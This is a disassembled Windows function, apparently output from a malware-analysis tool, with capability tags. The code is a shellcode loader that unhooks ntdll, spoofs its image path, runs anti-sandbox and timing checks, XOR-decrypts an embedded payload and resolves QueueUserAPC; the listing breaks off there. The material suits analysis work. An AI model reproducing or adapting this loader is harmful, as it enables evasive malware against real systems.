Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x808
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x770], xmm6
mov dword [rbp + 0x7b0], ecx
mov qword [rbp + 0x7b8], rdx
call fcn.140002c30
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x700], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x6f8], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x6f0], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x768], rax
cmp qword [rbp + 0x768], 0
jne 0x140001534
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x768], rax
mov ecx, 0x5fc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6e8], rax
mov ecx, 0x5fc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6e0], rax
mov dword [rbp + 0x760], 0x17e
mov dword [rbp + 0x764], 0
jmp 0x1400015fc
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x764]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6e8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x760]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6e8]
add rax, rdx
mov edx, dword [rbp + 0x764]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6e0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x760], 1
add dword [rbp + 0x764], 1
cmp dword [rbp + 0x764], 0x17e
jle 0x14000156f
mov rax, qword [rbp + 0x6e8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6e0]
mov rcx, rax
call sub.msvcrt.dll_free
cmp qword [rbp + 0x768], 0
je 0x1400018b8
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x550]
mov rax, qword [rbp + 0x6f0]
mov r10, qword [rbp + 0x768]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x550]
mov qword [rbp + 0x6d8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x6d0], rax
mov rax, qword [rbp + 0x6d0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x6c8], rax
mov rax, qword [rbp + 0x6c8]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x6c0], rax
mov rax, qword [rbp + 0x6d8]
mov qword [rbp + 0x6b8], rax
mov rax, qword [rbp + 0x6b8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x6d8]
add rax, rdx
mov qword [rbp + 0x6b0], rax
mov word [rbp + 0x75e], 0
jmp 0x1400018a0
mov rax, qword [rbp + 0x6b0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x6b0]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x75e]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x6a8]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x14000188f
mov dword [rbp + 0x518], 0
mov rax, qword [rbp + 0x6a8]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x6a8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x6d8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x518]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x6a8]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x6a8]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x6c0]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x6a8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x6d8]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x518]
mov rax, qword [rbp + 0x6a8]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x6a8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x6d8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x518]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x75e]
add eax, 1
mov word [rbp + 0x75e], ax
mov rax, qword [rbp + 0x6b0]
movzx eax, word [rax + 6]
cmp word [rbp + 0x75e], ax
jb 0x140001764
mov dword [rbp + 0x51c], 0
mov rax, qword [rbp + 0x700]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x520]
lea rax, [rbp + 0x51c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x6a0]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov ecx, 0x430
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x698], rax
mov ecx, 0x430
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x690], rax
mov ecx, 0x430
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x688], rax
mov ecx, 0x430
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x680], rax
mov dword [rbp + 0x754], 0x10b
mov dword [rbp + 0x758], 0
jmp 0x140001a82
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x758]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x698]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x758]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x690]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x754]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x698]
add rax, rdx
mov edx, dword [rbp + 0x758]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x688]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x754]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x690]
add rax, rdx
mov edx, dword [rbp + 0x758]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x680]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x754], 1
add dword [rbp + 0x758], 1
cmp dword [rbp + 0x758], 0x10b
jle 0x140001976
mov rax, qword [rbp + 0x698]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x690]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x688]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x680]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x528]
add rax, 0x3c
mov qword [rbp + 0x678], rax
mov ecx, 0x2fe8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x670], rax
mov dword [rbp + 0x750], 0
mov dword [rbp + 0x66c], 1
mov dword [rbp + 0x74c], 0
jmp 0x140001b96
mov dword [rbp + 0x748], 0
jmp 0x140001b86
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, dword [rbp + 0x74c]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
shl rax, 3
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x670]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0x748]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
add dword [rbp + 0x748], 1
cmp dword [rbp + 0x748], 0x48
jle 0x140001b20
add dword [rbp + 0x74c], 1
cmp dword [rbp + 0x74c], 0x29
jle 0x140001b14
mov dword [rbp + 0x74c], 0
jmp 0x140001c13
mov dword [rbp + 0x748], 0
jmp 0x140001c03
mov eax, dword [rbp + 0x74c]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 3
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x670]
add rdx, rax
mov eax, dword [rbp + 0x748]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x140001bfc
add dword [rbp + 0x750], 1
add dword [rbp + 0x748], 1
cmp dword [rbp + 0x748], 0x48
jle 0x140001bbb
add dword [rbp + 0x74c], 1
cmp dword [rbp + 0x74c], 0x29
jle 0x140001baf
cmp dword [rbp + 0x750], 0x5fd
je 0x140001c32
mov dword [rbp + 0x66c], 0
mov rax, qword [rbp + 0x670]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x678]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x678]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x660], rax
cmp qword [rbp + 0x660], 0
je 0x140002b64
mov rax, qword [rbp + 0x660]
mov edx, 0x3f3
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x65c], eax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x650]
mov ecx, 0
call rax
mov dword [rbp + 0x64c], eax
cmp dword [rbp + 0x64c], 0xffffffff
je 0x140002b64
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x640], rax
mov rax, qword [rbp + 0x640]
mov ecx, 0
call rax
mov dword [rbp + 0x63c], eax
cmp dword [rbp + 0x63c], 0xffffffff
je 0x140002b64
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x630], rax
cmp qword [rbp + 0x630], 0
jne 0x140002b64
mov qword [rbp + 0x628], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x620], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x620]
mov r9d, 0x3000
mov r8d, 0x3e8
mov edx, 0
call rax
mov qword [rbp + 0x628], rax
cmp qword [rbp + 0x628], 0
je 0x140002b64
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x618], rax
mov rax, qword [rbp + 0x618]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x610], rax
cmp qword [rbp + 0x610], 0
jne 0x140002b64
mov ecx, 0x461
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x461
jne 0x140002b64
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
lea rax, str.snmynzcewcwjaqdk.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x608], rax
cmp qword [rbp + 0x608], 0
jne 0x140002b64
mov ecx, 0x66c
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x66c
jne 0x140002b64
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x600], rax
mov rax, qword [rbp + 0x600]
call rax
mov dword [rbp + 0x5fc], eax
mov ecx, 0x384
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x600]
call rax
mov dword [rbp + 0x5f8], eax
mov eax, dword [rbp + 0x5f8]
sub eax, dword [rbp + 0x5fc]
cmp eax, 0x352
jbe 0x140002b64
lea rax, [rbp + 0x90]
lea rdx, [0x140006140]
mov ecx, 0x90
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
mov dword [rbp + 0x744], 0x21c
jmp 0x140001fa9
sub dword [rbp + 0x744], 1
cmp dword [rbp + 0x744], 0
jg 0x140001fa2
mov rax, qword [rbp + 0x6f8]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5f0], rax
mov rax, qword [rbp + 0x6f8]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5e8], rax
mov rax, qword [rbp + 0x5f0]
mov r8d, 0
mov edx, 0x483
mov ecx, 0x40000
call rax
mov qword [rbp + 0x5e0], rax
mov rax, qword [rbp + 0x5e0]
mov r9, qword [rbp + 0x5e8]
mov r8d, 0x483
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x5d8], rax
mov rax, qword [rbp + 0x700]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5d0], rax
lea rdx, [rbp + 0x90]
mov rax, qword [rbp + 0x5d8]
mov r9, qword [rbp + 0x5d0]
mov r8d, 0x483
mov rcx, rax
call r9
mov dword [rbp + 0x740], 0
mov dword [rbp + 0x73c], 0xffffffff
mov ecx, 0x9c8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5c8], rax
add dword [rbp + 0x73c], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x73c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x5c8]
add rax, rdx
movsd xmm1, qword [0x1400065c8]
divsd xmm0, xmm1
movsd qword [rax], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x73c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x5c8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x73c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x5c8]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003c20
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x73c], 0x137
jle 0x1400020a1
mov dword [rbp + 0x738], 0
mov dword [rbp + 0x734], 0
movabs rax, 0xb13b00834ebbe364
movabs rdx, 0x3eeb03d26b51058b
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0xb2a1b8ef18c1d212
movabs rdx, 0x574dcd25be598fc7
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0xe88d8a2d30a61403
movabs rdx, 0x7205b7a50e330aaf
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x8245f8e1f04041e1
movabs rdx, 0x2833f9e55141f08
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0xc21ce7a4e94441f4
movabs rdx, 0xb13f47a60487e6cb
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x7aa918becedf0166
movabs rdx, 0xd4c502b05c6b2314
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0x268979d4c502b05c
movabs rdx, 0x16d1be41c4fd34
mov qword [rbp + 0x7b], rax
mov qword [rbp + 0x83], rdx
mov ecx, 0x4fc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5c0], rax
mov dword [rbp + 0x72c], 0
mov dword [rbp + 0x728], 0
mov dword [rbp + 0x730], 0
jmp 0x14000231c
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x730]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x5c0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x730]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5c0]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x1400022eb
add dword [rbp + 0x72c], 1
jmp 0x140002315
mov eax, dword [rbp + 0x730]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x5c0]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x140002315
add dword [rbp + 0x728], 1
add dword [rbp + 0x730], 1
cmp dword [rbp + 0x730], 0x13e
jle 0x140002279
mov rax, qword [rbp + 0x5c0]
mov rcx, rax
call sub.msvcrt.dll_free
movabs rax, 0x4b1a7dcf4967a195
movabs rdx, 0x98641f7ad52bbe30
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0x9b4314537d564dff
movabs rdx, 0xe139768dfba888f5
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0x72a8e139768dfba8
movabs rdx, 0xa213e74eafb428
mov qword [rbp + 0xa], rax
mov qword [rbp + 0x12], rdx
mov ecx, 0x1fa4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5b8], rax
mov ecx, 0x1fa4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5b0], rax
mov ecx, 0x1fa4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5a8], rax
mov dword [rbp + 0x724], 0
jmp 0x1400024cf
mov dword [rbp + 0x720], 0
jmp 0x1400024bb
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x724]
movsxd rcx, eax
mov rax, rcx
add rax, rax
add rax, rcx
lea rcx, [rax*8]
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x5b8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x720]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x724]
movsxd rcx, eax
mov rax, rcx
add rax, rax
add rax, rcx
lea rcx, [rax*8]
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x5b0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x720]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x720], 1
cmp dword [rbp + 0x720], 0x1a
jle 0x1400023e0
add dword [rbp + 0x724], 1
cmp dword [rbp + 0x724], 0x4a
jle 0x1400023d1
mov dword [rbp + 0x724], 0
jmp 0x1400025ca
mov dword [rbp + 0x720], 0
jmp 0x1400025b6
mov eax, dword [rbp + 0x724]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
lea rdx, [rax*8]
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x5b8]
add rdx, rax
mov eax, dword [rbp + 0x720]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x724]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
lea rdx, [rax*8]
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x5b0]
add rdx, rax
mov eax, dword [rbp + 0x720]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x724]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
lea rdx, [rax*8]
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x5a8]
add rdx, rax
mulss xmm0, xmm1
mov eax, dword [rbp + 0x720]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x720], 1
cmp dword [rbp + 0x720], 0x1a
jle 0x1400024fa
add dword [rbp + 0x724], 1
cmp dword [rbp + 0x724], 0x4a
jle 0x1400024eb
mov rax, qword [rbp + 0x5b8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x5a8]
mov rcx, rax
call sub.msvcrt.dll_free
jmp 0x1400027d1
mov eax, dword [rbp + 0x740]
cdqe
movzx edx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x738]
cdqe
movzx eax, byte [rbp + rax + 0x20]
xor edx, eax
mov eax, dword [rbp + 0x740]
cdqe
mov byte [rbp + rax - 0x40], dl
cmp dword [rbp + 0x738], 0x69
jne 0x1400027c3
mov ecx, 0xb88
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x578], rax
mov dword [rbp + 0x71c], 0
jmp 0x1400026a8
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x71c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x578]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x71c], 1
cmp dword [rbp + 0x71c], 0x2e1
jle 0x14000265b
mov dword [rbp + 0x71c], 0
jmp 0x140002798
cmp dword [rbp + 0x71c], 0
je 0x140002708
mov eax, dword [rbp + 0x71c]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x578]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x71c]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x578]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jg 0x140002714
add dword [rbp + 0x71c], 1
jmp 0x140002798
mov eax, dword [rbp + 0x71c]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x578]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x574], eax
mov eax, dword [rbp + 0x71c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x578]
add rax, rdx
mov edx, dword [rbp + 0x71c]
movsxd rdx, edx
shl rdx, 2
lea rcx, [rdx - 4]
mov rdx, qword [rbp + 0x578]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x71c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x578]
add rdx, rax
mov eax, dword [rbp + 0x574]
mov dword [rdx], eax
sub dword [rbp + 0x71c], 1
cmp dword [rbp + 0x71c], 0x2e1
jle 0x1400026c3
mov rax, qword [rbp + 0x578]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x738], 0
jmp 0x1400027ca
add dword [rbp + 0x738], 1
add dword [rbp + 0x740], 1
mov eax, dword [rbp + 0x740]
cmp eax, 0x28
jbe 0x140002609
mov dword [rbp + 0x740], 0
mov dword [rbp + 0x718], 0xffffffff
pxor xmm0, xmm0
movsd qword [rbp + 0x710], xmm0
add dword [rbp + 0x718], 1
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x718]
movsd xmm0, qword [0x1400065d0]
addsd xmm0, xmm1
mov rax, qword [0x1400065d8]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003cf0
movq rax, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x718]
addsd xmm0, xmm0
movsd xmm2, qword [0x1400065d0]
movupd xmm1, xmm0
subsd xmm1, xmm2
movq xmm0, rax
divsd xmm0, xmm1
movsd xmm1, qword [rbp + 0x710]
addsd xmm0, xmm1
movsd qword [rbp + 0x710], xmm0
cmp dword [rbp + 0x718], 0x237
jle 0x140002800
movsd xmm1, qword [rbp + 0x710]
movsd xmm0, qword [0x1400065e0]
mulsd xmm0, xmm1
movsd qword [rbp + 0x710], xmm0
jmp 0x140002905
mov eax, dword [rbp + 0x740]
movsxd rdx, eax
mov rax, qword [rbp + 0x5d8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x734]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x740]
movsxd rdx, eax
mov rax, qword [rbp + 0x5d8]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x734], 0x28
jne 0x1400028f7
mov dword [rbp + 0x734], 0
jmp 0x1400028fe
add dword [rbp + 0x734], 1
add dword [rbp + 0x740], 1
cmp dword [rbp + 0x740], 0x482
jle 0x1400028a4
mov rax, qword [rbp + 0x5d8]
mov qword [rbp + 0x5a0], rax
mov rax, qword [rbp + 0x6f8]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x598], rax
mov rax, qword [rbp + 0x6f8]
lea rdx, str.SleepEx
mov rcx, rax
